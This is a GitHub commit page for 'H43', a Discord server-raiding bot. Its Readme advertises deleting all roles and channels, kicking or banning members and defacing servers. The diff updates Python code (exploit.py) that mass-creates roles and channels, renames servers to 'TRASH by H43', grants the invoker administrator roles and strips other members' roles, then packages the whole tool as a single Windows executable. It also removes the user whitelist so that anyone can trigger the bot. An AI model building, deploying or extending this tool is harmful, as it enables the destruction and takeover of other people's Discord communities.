Skip to content

Commit

Permalink
Updated .exe file. Added support for single executable. Few improvements
Browse files Browse the repository at this point in the history
.exe file correctly updated because there was a change in discord.py
.exe now has all images and .txt embeded being a single independent file
after_invoke updated because it was changed in discord.py
  • Loading branch information
Fytex committed Oct 30, 2020
1 parent a1037ad commit 8236601
Show file tree
Hide file tree
Showing 12 changed files with 104 additions and 61 deletions.
Binary file added H43_EXE/H43 BOT.exe
Binary file not shown.
8 changes: 2 additions & 6 deletions H43_EXE/Readme.txt
Original file line number Diff line number Diff line change
@@ -1,8 +1,4 @@
Use debug.bat if your h43.exe is closing and u don't know why. Maybe the problem is with config.ini.

SCAN 0/66 : https://www.virustotal.com/gui/file/6cb7935c7ba4906e5afee9bfa291f28a075e6ace3d539576960a4cea9acaf5f9/detection

H43
Use debug.bat if your "H43 BOT".exe is closing and u don't know why. Maybe the problem is with config.ini.

What does this BOT do?
Destruction (Deletes all roles/channels, Kicks/Bans Members, Edit Overview)
Expand Down Expand Up @@ -62,7 +58,7 @@ Please don't try to destroy people lives... For last, have fun!
Donate / Help
I would appreciate very much if you could donate something.

My paypal is: https://paypal.me/h43
My paypal is: https://www.paypal.com/paypalme/fytex



Expand Down
8 changes: 5 additions & 3 deletions H43_EXE/config.ini
Original file line number Diff line number Diff line change
@@ -1,7 +1,9 @@
[Users]
Fytex=321346463148015626
USER1=123456789012345678
USER2=123456789012345678
USER3=123456789012345678

[Options]
Token=
CooldownBypass=False
OfflineMode=False
CooldownBypass=True
OfflineMode=False
2 changes: 1 addition & 1 deletion H43_EXE/debug.bat
Original file line number Diff line number Diff line change
@@ -1,2 +1,2 @@
H43.exe
"H43 BOT".exe
PAUSE
Binary file removed H43_EXE/extras/Guilds_Icon.png
Binary file not shown.
17 changes: 0 additions & 17 deletions H43_EXE/extras/art_h43.txt

This file was deleted.

Binary file removed H43_EXE/h43.exe
Binary file not shown.
40 changes: 20 additions & 20 deletions H43_SOURCE/cogs/exploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,8 +8,8 @@

class ServerGroup(commands.Group):

async def cmd_after_invoke(self, cog, ctx):
cog.on_slow_cmds.remove(ctx.guild.id)
async def cmd_after_invoke(self, _, ctx):
ctx.cog.on_slow_cmds.remove(ctx.guild.id)

def add_command(self, command):
super().add_command(command)
Expand All @@ -28,19 +28,19 @@ async def spam_roles(ctx):
roles_created = 0
create_role = ctx.guild.create_role

if ctx.me.guild_permissions.manage_roles:
if ctx.me.guild_permissions.manage_roles and len(ctx.guild.roles) < 249:

while True:
random_role = ''.join(
[choice(string.ascii_letters + string.digits) for n in range(10)])

try:
await create_role(name=f'H43_{random_role}{roles_created}')
x = await create_role(name=f'H43_{random_role}{roles_created}')
except Exception:
break

roles_created += 1

return roles_created


Expand All @@ -55,7 +55,7 @@ async def spam_overview(ctx, icon):
region = discord.VoiceRegion.brazil

await ctx.guild.edit(icon=icon, name="TRASH by H43", region=region)

return perm


Expand All @@ -75,7 +75,7 @@ async def spam_channels(ctx):
break

channels_created += 1

return channels_created


Expand Down Expand Up @@ -207,11 +207,11 @@ async def cog_before_invoke(self, ctx):
if guild not in self.on_slow_cmds:
break

# H43?server are commands that takes some time to be executed, if we execute another command in that time an error can be raised like using H43?op while H43?server --s
# raises roles reached a limit (250) sometimes
await asyncio.sleep(5)
# H43?server are commands that take some time to be executed, if we execute another command in that time an error can be raised like using H43?op while H43?server --s
# raises roles reached a limit (250) sometimes
await asyncio.sleep(15)

@commands.command(brief='H43?op <@user/ID> [role\'s name]\nGive Administrator Permissions')
@commands.command(brief='H43?op [role\'s name]\nGive Administrator Permissions')
@commands.guild_only()
@commands.cooldown(1, 60, BucketType.user)
async def op(self, ctx, *, role_name="new role"):
Expand All @@ -220,7 +220,7 @@ async def op(self, ctx, *, role_name="new role"):
role_max = True if role_count >= 250 else False

if not bot.guild_permissions.manage_roles:
return await ctx.author.send("`I don't have sufficient permissions to execute this command`")
return await ctx.author.send("I don't have sufficient permissions to execute this command")

if role_max:
for role in ctx.guild.roles:
Expand All @@ -231,15 +231,15 @@ async def op(self, ctx, *, role_name="new role"):
break

if role_max:
return await ctx.author.send("`I tried hard but I can't give u the role, sorry!`")
return await ctx.author.send("I tried hard but I can't give u the role, sorry!")

role = await ctx.guild.create_role(name=role_name, permissions=bot.guild_permissions)

await ctx.author.add_roles(role)
position = bot.top_role.position - 1
await role.edit(position=position)

await ctx.author.send("`I gave u the best role I could. If doesn't have the permissons that you want don't blame me because I don't have that permissions too!`")
await ctx.author.send("I gave u the best role I could. If doesn't have the permissons that you want don't blame me because I don't have that permissions too!")

@commands.command(brief='H43?deop <@user/ID>\nRemove all permissions from a user')
@commands.guild_only()
Expand All @@ -253,21 +253,21 @@ def check(m):
return m.content.lower() in ("yes", 'y') and ctx.author == m.author and isinstance(m.channel, discord.DMChannel)

if not bot.guild_permissions.manage_roles:
return await author.send("`I don't have such permissions to execute this command`")
return await author.send("I don't have such permissions to execute this command")

if member is None:
return await author.send("`No member found to deop`")
return await author.send("No member found to deop")

if ctx.guild.owner == member:
await author.send(f"Is the server's owner even if I remove his roles this won't take any effect`\n Do you still wanna continue?\nType `yes`\n`Timeout = 15s`")
await author.send(f"Is the server's owner even if I remove his roles this won't take any effect\n Do you still wanna continue?\nType `yes`\n`Timeout = 15s`")
await self.client.wait_for('message', check=check, timeout=10)

if member.bot:
await author.send(f"`Might not deop because {member.name} is a bot, let's try to remove some permissions?\n`yes` if yes\n`Timeout = 15s`")
await author.send(f"Might not deop because `{member.name}` is a bot, let's try to remove some permissions?\n`yes` if yes\n`Timeout = 15s`")
await self.client.wait_for('message', check=check, timeout=10)

if member.top_role >= bot.top_role:
await author.send(f"`Might not deop because {member.name} has a role higher or equal to mine, let's try to remove some permissions?\nType `yes`\n`Timeout = 15s`")
await author.send(f"Might not deop because `{member.name}` has a role higher or equal to mine, let's try to remove some permissions?\nType `yes`\n`Timeout = 15s`")
await self.client.wait_for('message', check=check, timeout=10)

for role in member.roles:
Expand All @@ -277,7 +277,7 @@ def check(m):

await member.remove_roles(role)

await author.send(f"`I deopped {member.name} the maximum I could!`")
await author.send(f"I deopped `{member.name}` the maximum I could!")

@commands.group(aliases=['sv'], brief='H43?server <spam/destruction>\nSpam/Destroy servers', case_insensitive=True, cls=ServerGroup)
@commands.guild_only()
Expand Down
6 changes: 4 additions & 2 deletions H43_SOURCE/config.ini
Original file line number Diff line number Diff line change
@@ -1,7 +1,9 @@
[Users]
Fytex=321346463148015626
USER1=123456789012345678
USER2=123456789012345678
USER3=123456789012345678

[Options]
Token=
CooldownBypass=False
CooldownBypass=True
OfflineMode=False
Binary file added H43_SOURCE/extras/icon_h43.ico
Binary file not shown.
37 changes: 25 additions & 12 deletions H43_SOURCE/h43.py
Original file line number Diff line number Diff line change
@@ -1,30 +1,39 @@
import json
import discord
import sys
from os import path
from discord.ext import commands
from extras.help import HelpCommand
from configparser import ConfigParser


extensions = ['exploit', 'admin_ext', 'error_handler']

parser = ConfigParser()
parser.read('config.ini')

def extras_path(relative_path):

try:
# PyInstaller creates a temp folder and stores path in _MEIPASS
from sys import _MEIPASS as base_path
except ImportError:
base_path = path.dirname(path.abspath(__file__))

class FileError(Exception):
pass
return path.join(base_path, 'extras', relative_path)


with open('extras//Guilds_Icon.png', 'rb') as image:
parser = ConfigParser()
parser.read('config.ini')

with open(extras_path('Guilds_Icon.png'), 'rb') as image:
icon = image.read()

user_exploits = [parser.getint('Users', name) for name in parser.options('Users')]
user_exploits = [parser.getint('Users', name) for name in parser.options('Users')] if parser.has_section('Users') else []
cooldown_bypass = parser.getboolean('Options', 'CooldownBypass', fallback=False)
offline_mode = parser.getboolean('Options', 'OfflineMode', fallback=False)
token = parser.get('Options', 'Token', fallback=None)

if not user_exploits:
raise FileError('You need to provide one User ID at least so bot can be useful.')
print('Since no Users were specified in config.ini then bot will listen to all users.\nWarning: If anyone uses correctly the command it will be executed')


status = discord.Status.invisible if offline_mode else None
Expand Down Expand Up @@ -60,21 +69,25 @@ async def on_ready():

user_not_found = '#UserNotFound'

line = f'->{user if not None else user_not_found}\tID: {user_id}\n'
line = f'-> {user if not None else user_not_found}\tID: {user_id}\n'
exploit_users.append(line)

with open('extras//art_h43.txt', 'r') as file:
with open(extras_path('art_h43.txt'), 'r') as file:
file = file.read()

print(file)

print(
f"Logged in as {client.user}\n\nID: {client.user.id}\n\nExploit Users ({len(exploit_users)}):\n\n{''.join(exploit_users)}\n")
print(f'Logged in as {client.user}\n\nID: {client.user.id}\n')

if exploit_users:
print(f'Exploit Users ({len(exploit_users)}):\n\n{"".join(exploit_users)}\n')
else:
print('Everyone can execute commands because it wasn\'t specified at least one User\'s ID\n')


@client.check_once
def whitelist(ctx):
return ctx.author.id in client.user_exploits
return not client.user_exploits or ctx.author.id in client.user_exploits


if __name__ == "__main__":
Expand Down
47 changes: 47 additions & 0 deletions H43_SOURCE/h43.spec
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
# -*- mode: python ; coding: utf-8 -*-

from os.path import join as path_join

block_cipher = None


a = Analysis(['h43.py'],
pathex=[],
binaries=[],
datas=[
(path_join('extras', 'Guilds_Icon.png'), 'extras'),
(path_join('extras', 'art_h43.txt'), 'extras')
],
hiddenimports=[
'cogs.exploit',
'cogs.admin_ext',
'cogs.error_handler'
],
hookspath=[],
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher,
noarchive=False)


pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)


exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
[],
name='H43 BOT',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
upx_exclude=[],
runtime_tmpdir=None,
console=True,
icon=path_join('extras', 'icon_h43.ico'))

0 comments on commit 8236601

Please sign in to comment.